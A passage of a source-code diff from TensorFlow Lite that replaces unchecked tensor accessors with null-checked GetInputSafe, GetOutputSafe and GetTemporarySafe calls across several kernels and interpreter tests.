@@ -126,7 +126,8 @@ bool IsReshapeOpSupported(const TfLiteRegistration* registration,
   }
 
   const int kShapeTensor = 1;
-  const auto* shape = GetInput(context, node, kShapeTensor);
+  const TfLiteTensor* shape;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kShapeTensor, &shape));
   if (shape->allocation_type != kTfLiteMmapRo) {
     TF_LITE_KERNEL_LOG(context, "Reshape has non-const shape.");
     return false;
diff --git a/tensorflow/lite/experimental/kernels/ctc_beam_search_decoder.cc b/tensorflow/lite/experimental/kernels/ctc_beam_search_decoder.cc
index c5e019fc2eeacc..9b7d731c5f8a85 100644
--- a/tensorflow/lite/experimental/kernels/ctc_beam_search_decoder.cc
+++ b/tensorflow/lite/experimental/kernels/ctc_beam_search_decoder.cc
@@ -62,14 +62,17 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   // The outputs should be top_paths * 3 + 1.
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 3 * top_paths + 1);
 
-  const TfLiteTensor* inputs = GetInput(context, node, kInputsTensor);
+  const TfLiteTensor* inputs;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputsTensor, &inputs));
   TF_LITE_ENSURE_EQ(context, NumDimensions(inputs), 3);
   // TensorFlow only supports float.
   TF_LITE_ENSURE_EQ(context, inputs->type, kTfLiteFloat32);
   const int batch_size = SizeOfDimension(inputs, 1);
 
-  const TfLiteTensor* sequence_length =
-      GetInput(context, node, kSequenceLengthTensor);
+  const TfLiteTensor* sequence_length;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kSequenceLengthTensor,
+                                          &sequence_length));
   TF_LITE_ENSURE_EQ(context, NumDimensions(sequence_length), 1);
   TF_LITE_ENSURE_EQ(context, NumElements(sequence_length), batch_size);
   // TensorFlow only supports int32.
@@ -78,17 +81,23 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   // Resize decoded outputs.
   // Do not resize indices & values cause we don't know the values yet.
   for (int i = 0; i < top_paths; ++i) {
-    TfLiteTensor* indices = GetOutput(context, node, i);
+    TfLiteTensor* indices;
+    TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, i, &indices));
     SetTensorToDynamic(indices);
-    TfLiteTensor* values = GetOutput(context, node, i + top_paths);
+    TfLiteTensor* values;
+    TF_LITE_ENSURE_OK(context,
+                      GetOutputSafe(context, node, i + top_paths, &values));
     SetTensorToDynamic(values);
-    TfLiteTensor* output_shape = GetOutput(context, node, i + 2 * top_paths);
+    TfLiteTensor* output_shape;
+    TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, i + 2 * top_paths,
+                                             &output_shape));
     SetTensorToDynamic(output_shape);
   }
 
   // Resize log probability outputs.
-  TfLiteTensor* log_probability_output =
-      GetOutput(context, node, top_paths * 3);
+  TfLiteTensor* log_probability_output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, top_paths * 3,
+                                           &log_probability_output));
   TfLiteIntArray* log_probability_output_shape_array = TfLiteIntArrayCreate(2);
   log_probability_output_shape_array->data[0] = batch_size;
   log_probability_output_shape_array->data[1] = top_paths;
@@ -127,13 +136,18 @@ TfLiteStatus StoreAllDecodedSequences(
     const int32_t p_num = num_entries[p];
 
     // Resize the decoded outputs.
-    TfLiteTensor* indices = GetOutput(context, node, p);
+    TfLiteTensor* indices;
+    TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, p, &indices));
     TF_LITE_ENSURE_OK(context, Resize(context, {p_num, 2}, indices));
 
-    TfLiteTensor* values = GetOutput(context, node, p + top_paths);
+    TfLiteTensor* values;
+    TF_LITE_ENSURE_OK(context,
+                      GetOutputSafe(context, node, p + top_paths, &values));
     TF_LITE_ENSURE_OK(context, Resize(context, {p_num}, values));
 
-    TfLiteTensor* decoded_shape = GetOutput(context, node, p + 2 * top_paths);
+    TfLiteTensor* decoded_shape;
+    TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, p + 2 * top_paths,
+                                             &decoded_shape));
     TF_LITE_ENSURE_OK(context, Resize(context, {2}, decoded_shape));
 
     int32_t max_decoded = 0;
@@ -161,9 +175,12 @@ TfLiteStatus StoreAllDecodedSequences(
 }
 
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* inputs = GetInput(context, node, kInputsTensor);
-  const TfLiteTensor* sequence_length =
-      GetInput(context, node, kSequenceLengthTensor);
+  const TfLiteTensor* inputs;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputsTensor, &inputs));
+  const TfLiteTensor* sequence_length;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kSequenceLengthTensor,
+                                          &sequence_length));
   const CTCBeamSearchDecoderParams* option =
       reinterpret_cast<CTCBeamSearchDecoderParams*>(node->user_data);
 
@@ -207,7 +224,9 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   std::vector<std::vector<std::vector<int>>> best_paths(batch_size);
   std::vector<float> log_probs;
 
-  TfLiteTensor* log_probabilities = GetOutput(context, node, 3 * top_paths);
+  TfLiteTensor* log_probabilities;
+  TF_LITE_ENSURE_OK(
+      context, GetOutputSafe(context, node, 3 * top_paths, &log_probabilities));
   float* log_probabilities_output = GetTensorData<float>(log_probabilities);
 
   // Assumption: the blank index is num_classes - 1
diff --git a/tensorflow/lite/experimental/kernels/unidirectional_sequence_gru.cc b/tensorflow/lite/experimental/kernels/unidirectional_sequence_gru.cc
index 84f54b8d5aa6aa..1fd6dabb52faf3 100644
--- a/tensorflow/lite/experimental/kernels/unidirectional_sequence_gru.cc
+++ b/tensorflow/lite/experimental/kernels/unidirectional_sequence_gru.cc
@@ -127,44 +127,55 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, node->outputs->size, kOutputNum);
 
   // input's dim = [n_time, n_batch, n_input]
-  const TfLiteTensor* input = GetInput(context, node, kInput);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInput, &input));
   TF_LITE_ENSURE_EQ(context, input->dims->size, 3);
   const int n_time = input->dims->data[0];
   const int n_batch = input->dims->data[1];
   const int n_input = input->dims->data[2];
 
   // input_state's dim = [n_batch, n_output]
-  const TfLiteTensor* input_state = GetInput(context, node, kInputState);
+  const TfLiteTensor* input_state;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputState, &input_state));
   TF_LITE_ENSURE_EQ(context, input_state->dims->size, 2);
   TF_LITE_ENSURE_EQ(context, input_state->dims->data[0], n_batch);
   const int n_output = input_state->dims->data[1];
 
   // gate_weight' dim = [2 * n_output, n_input + n_output]
-  const TfLiteTensor* gate_weight = GetInput(context, node, kGateWeight);
+  const TfLiteTensor* gate_weight;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kGateWeight, &gate_weight));
   TF_LITE_ENSURE_EQ(context, gate_weight->dims->size, 2);
   TF_LITE_ENSURE_EQ(context, gate_weight->dims->data[0], 2 * n_output);
   TF_LITE_ENSURE_EQ(context, gate_weight->dims->data[1], n_input + n_output);
 
   // gate_bias' dim = [2 * n_output]
-  const TfLiteTensor* gate_bias = GetInput(context, node, kGateBias);
+  const TfLiteTensor* gate_bias;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kGateBias, &gate_bias));
   TF_LITE_ENSURE_EQ(context, gate_bias->dims->size, 1);
   TF_LITE_ENSURE_EQ(context, gate_bias->dims->data[0], 2 * n_output);
 
   // candidate_weight' dim = [n_output, n_input + n_output]
-  const TfLiteTensor* candidate_weight =
-      GetInput(context, node, kCandidateWeight);
+  const TfLiteTensor* candidate_weight;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kCandidateWeight,
+                                          &candidate_weight));
   TF_LITE_ENSURE_EQ(context, candidate_weight->dims->size, 2);
   TF_LITE_ENSURE_EQ(context, candidate_weight->dims->data[0], n_output);
   TF_LITE_ENSURE_EQ(context, candidate_weight->dims->data[1],
                     n_input + n_output);
 
   // candidate_bias' dim = [n_output]
-  const TfLiteTensor* candidate_bias = GetInput(context, node, kCandidateBias);
+  const TfLiteTensor* candidate_bias;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, kCandidateBias, &candidate_bias));
   TF_LITE_ENSURE_EQ(context, candidate_bias->dims->size, 1);
   TF_LITE_ENSURE_EQ(context, candidate_bias->dims->data[0], n_output);
 
   // output's dim = [n_time, n_batch, n_output]
-  TfLiteTensor* output = GetOutput(context, node, kOutput);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, kOutput, &output));
   TfLiteIntArray* output_size = TfLiteIntArrayCreate(3);
   output_size->data[0] = n_time;
   output_size->data[1] = n_batch;
@@ -173,7 +184,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
                     context->ResizeTensor(context, output, output_size));
 
   // output_state's dim = [n_batch, n_output]
-  TfLiteTensor* output_state = GetOutput(context, node, kOutputState);
+  TfLiteTensor* output_state;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputState, &output_state));
   TF_LITE_ENSURE_OK(
       context, context->ResizeTensor(context, output_state,
                                      TfLiteIntArrayCopy(input_state->dims)));
@@ -183,7 +196,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 
   // activation's dim = [n_batch, 2 * n_output]
   node->temporaries->data[kActivation] = *scratch_tensor_index;
-  TfLiteTensor* activation = GetTemporary(context, node, kActivation);
+  TfLiteTensor* activation;
+  TF_LITE_ENSURE_OK(context,
+                    GetTemporarySafe(context, node, kActivation, &activation));
   activation->type = input->type;
   activation->allocation_type = kTfLiteArenaRw;
   TfLiteIntArray* activation_size = TfLiteIntArrayCreate(2);
@@ -194,7 +209,8 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 
   // concat's dim  = [n_batch, n_input + n_output]
   node->temporaries->data[kConcat] = (*scratch_tensor_index) + kConcat;
-  TfLiteTensor* concat = GetTemporary(context, node, kConcat);
+  TfLiteTensor* concat;
+  TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, kConcat, &concat));
   concat->type = input->type;
   concat->allocation_type = kTfLiteArenaRw;
   TfLiteIntArray* concat_size = TfLiteIntArrayCreate(2);
@@ -207,17 +223,33 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 }
 
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input = GetInput(context, node, kInput);
-  const TfLiteTensor* input_state = GetInput(context, node, kInputState);
-  const TfLiteTensor* gate_weight = GetInput(context, node, kGateWeight);
-  const TfLiteTensor* gate_bias = GetInput(context, node, kGateBias);
-  const TfLiteTensor* candidate_weight =
-      GetInput(context, node, kCandidateWeight);
-  const TfLiteTensor* candidate_bias = GetInput(context, node, kCandidateBias);
-  TfLiteTensor* output = GetOutput(context, node, kOutput);
-  TfLiteTensor* output_state = GetOutput(context, node, kOutputState);
-  TfLiteTensor* activation = GetTemporary(context, node, kActivation);
-  TfLiteTensor* concat = GetTemporary(context, node, kConcat);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInput, &input));
+  const TfLiteTensor* input_state;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kInputState, &input_state));
+  const TfLiteTensor* gate_weight;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kGateWeight, &gate_weight));
+  const TfLiteTensor* gate_bias;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kGateBias, &gate_bias));
+  const TfLiteTensor* candidate_weight;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kCandidateWeight,
+                                          &candidate_weight));
+  const TfLiteTensor* candidate_bias;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, kCandidateBias, &candidate_bias));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, kOutput, &output));
+  TfLiteTensor* output_state;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputState, &output_state));
+  TfLiteTensor* activation;
+  TF_LITE_ENSURE_OK(context,
+                    GetTemporarySafe(context, node, kActivation, &activation));
+  TfLiteTensor* concat;
+  TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, kConcat, &concat));
   auto cpu_backend_context = CpuBackendContext::GetFromContext(context);
 
   if (gate_weight->type == kTfLiteFloat32) {
diff --git a/tensorflow/lite/experimental/microfrontend/audio_microfrontend.cc b/tensorflow/lite/experimental/microfrontend/audio_microfrontend.cc
index b8d89f69b26882..090871da2ef807 100644
--- a/tensorflow/lite/experimental/microfrontend/audio_microfrontend.cc
+++ b/tensorflow/lite/experimental/microfrontend/audio_microfrontend.cc
@@ -91,8 +91,11 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   TF_LITE_ENSURE_EQ(context, NumDimensions(input), 1);
 
@@ -180,8 +183,11 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
       reinterpret_cast<TfLiteAudioMicrofrontendParams*>(node->user_data);
   FrontendReset(data->state);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   if (data->out_float) {
     GenerateFeatures<float>(data, input, output);
diff --git a/tensorflow/lite/interpreter_test.cc b/tensorflow/lite/interpreter_test.cc
index bd0f724a7bf79c..66728ea89e9ac4 100644
--- a/tensorflow/lite/interpreter_test.cc
+++ b/tensorflow/lite/interpreter_test.cc
@@ -621,8 +621,10 @@ TfLiteRegistration GetPassthroughOpRegistration() {
   reg.prepare = [](TfLiteContext* context, TfLiteNode* node) {
     auto* first_new_tensor = static_cast<int*>(node->user_data);
 
-    const TfLiteTensor* tensor0 = GetInput(context, node, 0);
-    TfLiteTensor* tensor1 = GetOutput(context, node, 0);
+    const TfLiteTensor* tensor0;
+    TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &tensor0));
+    TfLiteTensor* tensor1;
+    TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &tensor1));
 
     TfLiteIntArray* newSize = TfLiteIntArrayCopy(tensor0->dims);
     TF_LITE_ENSURE_STATUS(context->ResizeTensor(context, tensor1, newSize));
@@ -646,7 +648,8 @@ TfLiteRegistration GetPassthroughOpRegistration() {
     return kTfLiteOk;
   };
   reg.invoke = [](TfLiteContext* context, TfLiteNode* node) {
-    const TfLiteTensor* a0 = GetInput(context, node, 0);
+    const TfLiteTensor* a0;
+    TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &a0));
 
     auto populate = [&](int id) {
       TfLiteTensor* t = &context->tensors[id];
@@ -780,8 +783,10 @@ TEST(BasicInterpreter, ThreeStepAllocate) {
   // String-in String-out node.
   TfLiteRegistration reg_copy = {nullptr, nullptr, nullptr, nullptr};
   reg_copy.invoke = [](TfLiteContext* context, TfLiteNode* node) {
-    const TfLiteTensor* input = GetInput(context, node, 0);
-    TfLiteTensor* output = GetOutput(context, node, 0);
+    const TfLiteTensor* input;
+    TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &input));
+    TfLiteTensor* output;
+    TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
     DynamicBuffer buf;
     StringRef str_ref = GetString(input, 0);
     buf.AddString(str_ref);
@@ -792,14 +797,17 @@ TEST(BasicInterpreter, ThreeStepAllocate) {
   // String-in Int-out node.
   TfLiteRegistration reg_len = {nullptr, nullptr, nullptr, nullptr};
   reg_len.prepare = [](TfLiteContext* context, TfLiteNode* node) {
-    TfLiteTensor* output = GetOutput(context, node, 0);
+    TfLiteTensor* output;
+    TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output));
     TfLiteIntArray* outputSize = TfLiteIntArrayCreate(1);
     outputSize->data[0] = 1;
     return context->ResizeTensor(context, output, outputSize);
   };
   reg_len.invoke = [](TfLiteContext* context, TfLiteNode* node) {
-    const TfLiteTensor* a0 = GetInput(context, node, 0);
-    TfLiteTensor* a1 = GetOutput(context, node, 0);
+    const TfLiteTensor* a0;
+    TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &a0));
+    TfLiteTensor* a1;
+    TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &a1));
     a1->data.i32[0] = a0->bytes;
     return kTfLiteOk;
   };
@@ -848,14 +856,18 @@ TEST(BasicInterpreter, AllocateTwice) {
 
   TfLiteRegistration reg = {nullptr, nullptr, nullptr, nullptr};
   reg.prepare = [](TfLiteContext* context, TfLiteNode* node) {
-    const TfLiteTensor* tensor0 = GetInput(context, node, 0);
-    TfLiteTensor* tensor1 = GetOutput(context, node, 0);
+    const TfLiteTensor* tensor0;
+    TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &tensor0));
+    TfLiteTensor* tensor1;
+    TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &tensor1));
     TfLiteIntArray* newSize = TfLiteIntArrayCopy(tensor0->dims);
     return context->ResizeTensor(context, tensor1, newSize);
   };
   reg.invoke = [](TfLiteContext* context, TfLiteNode* node) {
-    const TfLiteTensor* a0 = GetInput(context, node, 0);
-    TfLiteTensor* a1 = GetOutput(context, node, 0);
+    const TfLiteTensor* a0;
+    TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &a0));
+    TfLiteTensor* a1;
+    TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &a1));
     int num = a0->dims->data[0];
     for (int i = 0; i < num; i++) {
       a1->data.f[i] = a0->data.f[i];
@@ -1205,8 +1217,10 @@ class TestExecutionPlan : public ::testing::Test {
 
     reg.prepare = [](TfLiteContext* context, TfLiteNode* node) {
       // Set output size to input size
-      const TfLiteTensor* tensor0 = GetInput(context, node, 0);
-      TfLiteTensor* tensor1 = GetOutput(context, node, 0);
+      const TfLiteTensor* tensor0;
+      TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &tensor0));
+      TfLiteTensor* tensor1;
+      TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &tensor1));
       TfLiteIntArray* newSize = TfLiteIntArrayCopy(tensor0->dims);
       return context->ResizeTensor(context, tensor1, newSize);
     };
@@ -1215,8 +1229,10 @@ class TestExecutionPlan : public ::testing::Test {
       CallReporting* call_reporting =
           static_cast<CallReporting*>(node->builtin_data);
       // Copy input data to output data.
-      const TfLiteTensor* a0 = GetInput(context, node, 0);
-      TfLiteTensor* a1 = GetOutput(context, node, 0);
+      const TfLiteTensor* a0;
+      TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &a0));
+      TfLiteTensor* a1;
+      TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &a1));
       int num = a0->dims->data[0];
       for (int i = 0; i < num; i++) {
         a1->data.f[i] = a0->data.f[i];
@@ -1403,8 +1419,10 @@ class CancellationTest : public ::testing::Test {
     // Set output size to the input size in CancelOp::Prepare(). Code exists to
     // have a framework in Prepare. The input and output tensors are not used.
     reg.prepare = [](TfLiteContext* context, TfLiteNode* node) {
-      const TfLiteTensor* in_tensor = GetInput(context, node, 0);
-      TfLiteTensor* out_tensor = GetOutput(context, node, 0);
+      const TfLiteTensor* in_tensor;
+      TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &in_tensor));
+      TfLiteTensor* out_tensor;
+      TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &out_tensor));
       TfLiteIntArray* new_size = TfLiteIntArrayCopy(in_tensor->dims);
       return context->ResizeTensor(context, out_tensor, new_size);
     };
@@ -1423,8 +1441,10 @@ class CancellationTest : public ::testing::Test {
     // Set output size to the input size in OkOp::Prepare(). Code exists to have
     // a framework in Prepare. The input and output tensors are not used.
     reg.prepare = [](TfLiteContext* context, TfLiteNode* node) {
-      const TfLiteTensor* in_tensor = GetInput(context, node, 0);
-      TfLiteTensor* out_tensor = GetOutput(context, node, 0);
+      const TfLiteTensor* in_tensor;
+      TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, 0, &in_tensor));
+      TfLiteTensor* out_tensor;
+      TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &out_tensor));
       TfLiteIntArray* new_size = TfLiteIntArrayCopy(in_tensor->dims);
       return context->ResizeTensor(context, out_tensor, new_size);
     };
diff --git a/tensorflow/lite/java/src/test/native/interpreter_test_jni.cc b/tensorflow/lite/java/src/test/native/interpreter_test_jni.cc
index 76bb7b7d4cd13c..7981a8bb8f5020 100644
--- a/tensorflow/lite/java/src/test/native/interpreter_test_jni.cc
+++ b/tensorflow/lite/java/src/test/native/interpreter_test_jni.cc
@@ -33,15 +33,21 @@ Java_org_tensorflow_lite_InterpreterTest_getNativeHandleForDelegate(
       .free = nullptr,
       .prepare =
           [](TfLiteContext* context, TfLiteNode* node) {
-            const TfLiteTensor* input = tflite::GetInput(context, node, 0);
-            TfLiteTensor* output = tflite::GetOutput(context, node, 0);
+            const TfLiteTensor* input;
+            TF_LITE_ENSURE_OK(context,
+                              tflite::GetInputSafe(context, node, 0, &input));
+            TfLiteTensor* output;
+            TF_LITE_ENSURE_OK(context,
+                              tflite::GetOutputSafe(context, node, 0, &output));
             TfLiteIntArray* output_dims = TfLiteIntArrayCopy(input->dims);
             output->type = kTfLiteFloat32;
             return context->ResizeTensor(context, output, output_dims);
           },
       .invoke =
           [](TfLiteContext* context, TfLiteNode* node) {
-            TfLiteTensor* output = tflite::GetOutput(context, node, 0);
+            TfLiteTensor* output;
+            TF_LITE_ENSURE_OK(context,
+                              tflite::GetOutputSafe(context, node, 0, &output));
             std::fill(output->data.f,
                       output->data.f + tflite::NumElements(output), 7.0f);
             return kTfLiteOk;
diff --git a/tensorflow/lite/kernels/hashtable/hashtable.cc b/tensorflow/lite/kernels/hashtable/hashtable.cc
index d1f9551ddf0769..bca8f2c9208008 100644
--- a/tensorflow/lite/kernels/hashtable/hashtable.cc
+++ b/tensorflow/lite/kernels/hashtable/hashtable.cc
@@ -80,9 +80,9 @@ TfLiteStatus PrepareHashtable(TfLiteContext* context, TfLiteNode* node) {
                               (params->key_dtype == kTfLiteString &&
                                params->value_dtype == kTfLiteInt64));
 
-  TfLiteTensor* resource_handle_tensor =
-      GetOutput(context, node, kResourceHandleTensor);
-  TF_LITE_ENSURE(context, resource_handle_tensor != nullptr);
+  TfLiteTensor* resource_handle_tensor;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, kResourceHandleTensor,
+                                           &resource_handle_tensor));
   TF_LITE_ENSURE_EQ(context, resource_handle_tensor->type, kTfLiteInt32);
   TfLiteIntArray* outputSize = TfLiteIntArrayCreate(1);
   outputSize->data[0] = 1;
@@ -97,8 +97,9 @@ TfLiteStatus EvalHashtable(TfLiteContext* context, TfLiteNode* node) {
   // The resource id is generated based on the given table name.
   const int resource_id = std::hash<std::string>{}(params->table_name);
 
-  TfLiteTensor* resource_handle_tensor =
-      GetOutput(context, node, kResourceHandleTensor);
+  TfLiteTensor* resource_handle_tensor;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, kResourceHandleTensor,
+                                           &resource_handle_tensor));
   auto* resource_handle_data =
       GetTensorData<std::int32_t>(resource_handle_tensor);
   resource_handle_data[0] = resource_id;
diff --git a/tensorflow/lite/kernels/hashtable/hashtable_find.cc b/tensorflow/lite/kernels/hashtable/hashtable_find.cc
index 10236cfce07069..f26fe824b4cba1 100644
--- a/tensorflow/lite/kernels/hashtable/hashtable_find.cc
+++ b/tensorflow/lite/kernels/hashtable/hashtable_find.cc
@@ -34,17 +34,23 @@ TfLiteStatus PrepareHashtableFind(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 3);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);
 
-  const TfLiteTensor* input_resource_id_tensor =
-      GetInput(context, node, kInputResourceIdTensor);
+  const TfLiteTensor* input_resource_id_tensor;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputResourceIdTensor,
+                                          &input_resource_id_tensor));
   TF_LITE_ENSURE_EQ(context, input_resource_id_tensor->type, kTfLiteInt32);
   TF_LITE_ENSURE_EQ(context, NumDimensions(input_resource_id_tensor), 1);
   TF_LITE_ENSURE_EQ(context, SizeOfDimension(input_resource_id_tensor, 0), 1);
 
-  const TfLiteTensor* default_value_tensor =
-      GetInput(context, node, kDefaultValueTensor);
+  const TfLiteTensor* default_value_tensor;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kDefaultValueTensor,
+                                          &default_value_tensor));
 
-  const TfLiteTensor* key_tensor = GetInput(context, node, kKeyTensor);
-  TfLiteTensor* output_tensor = GetOutput(context, node, kOutputTensor);
+  const TfLiteTensor* key_tensor;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kKeyTensor, &key_tensor));
+  TfLiteTensor* output_tensor;
+  TF_LITE_ENSURE_OK(
+      context, GetOutputSafe(context, node, kOutputTensor, &output_tensor));
   TF_LITE_ENSURE_EQ(context, default_value_tensor->type, output_tensor->type);
   TF_LITE_ENSURE(context, (key_tensor->type == kTfLiteInt64 &&
                            output_tensor->type == kTfLiteString) ||
@@ -55,14 +61,19 @@ TfLiteStatus PrepareHashtableFind(TfLiteContext* context, TfLiteNode* node) {
 }
 
 TfLiteStatus EvalHashtableFind(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input_resource_id_tensor =
-      GetInput(context, node, kInputResourceIdTensor);
+  const TfLiteTensor* input_resource_id_tensor;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputResourceIdTensor,
+                                          &input_resource_id_tensor));
   int resource_id = input_resource_id_tensor->data.i32[0];
 
-  const TfLiteTensor* key_tensor = GetInput(context, node, kKeyTensor);
-  const TfLiteTensor* default_value_tensor =
-      GetInput(context, node, kDefaultValueTensor);
-  TfLiteTensor* output_tensor = GetOutput(context, node, 0);
+  const TfLiteTensor* key_tensor;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kKeyTensor, &key_tensor));
+  const TfLiteTensor* default_value_tensor;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kDefaultValueTensor,
+                                          &default_value_tensor));
+  TfLiteTensor* output_tensor;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node, 0, &output_tensor));
 
   Subgraph* subgraph = reinterpret_cast<Subgraph*>(context->impl_);
   auto& resources = subgraph->resources();
diff --git a/tensorflow/lite/kernels/hashtable/hashtable_import.cc b/tensorflow/lite/kernels/hashtable/hashtable_import.cc
index 1b5c0424526e6c..fad9345a1a4405 100644
--- a/tensorflow/lite/kernels/hashtable/hashtable_import.cc
+++ b/tensorflow/lite/kernels/hashtable/hashtable_import.cc
@@ -33,14 +33,19 @@ TfLiteStatus PrepareHashtableImport(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, NumInputs(node), 3);
   TF_LITE_ENSURE_EQ(context, NumOutputs(node), 0);
 
-  const TfLiteTensor* input_resource_id_tensor =
-      GetInput(context, node, kInputResourceIdTensor);
+  const TfLiteTensor* input_resource_id_tensor;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputResourceIdTensor,
+                                          &input_resource_id_tensor));
   TF_LITE_ENSURE_EQ(context, input_resource_id_tensor->type, kTfLiteInt32);
   TF_LITE_ENSURE_EQ(context, NumDimensions(input_resource_id_tensor), 1);
   TF_LITE_ENSURE_EQ(context, SizeOfDimension(input_resource_id_tensor, 0), 1);
 
-  const TfLiteTensor* key_tensor = GetInput(context, node, kKeyTensor);
-  const TfLiteTensor* value_tensor = GetInput(context, node, kValueTensor);
+  const TfLiteTensor* key_tensor;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kKeyTensor, &key_tensor));
+  const TfLiteTensor* value_tensor;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kValueTensor, &value_tensor));
   TF_LITE_ENSURE(context, (key_tensor->type == kTfLiteInt64 &&
                            value_tensor->type == kTfLiteString) ||
                               (key_tensor->type == kTfLiteString &&
@@ -52,12 +57,17 @@ TfLiteStatus PrepareHashtableImport(TfLiteContext* context, TfLiteNode* node) {
 }
 
 TfLiteStatus EvalHashtableImport(TfLiteContext* context, TfLiteNode* node) {
-  const TfLiteTensor* input_resource_id_tensor =
-      GetInput(context, node, kInputResourceIdTensor);
+  const TfLiteTensor* input_resource_id_tensor;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputResourceIdTensor,
+                                          &input_resource_id_tensor));
   const int resource_id = input_resource_id_tensor->data.i32[0];
 
-  const TfLiteTensor* key_tensor = GetInput(context, node, kKeyTensor);
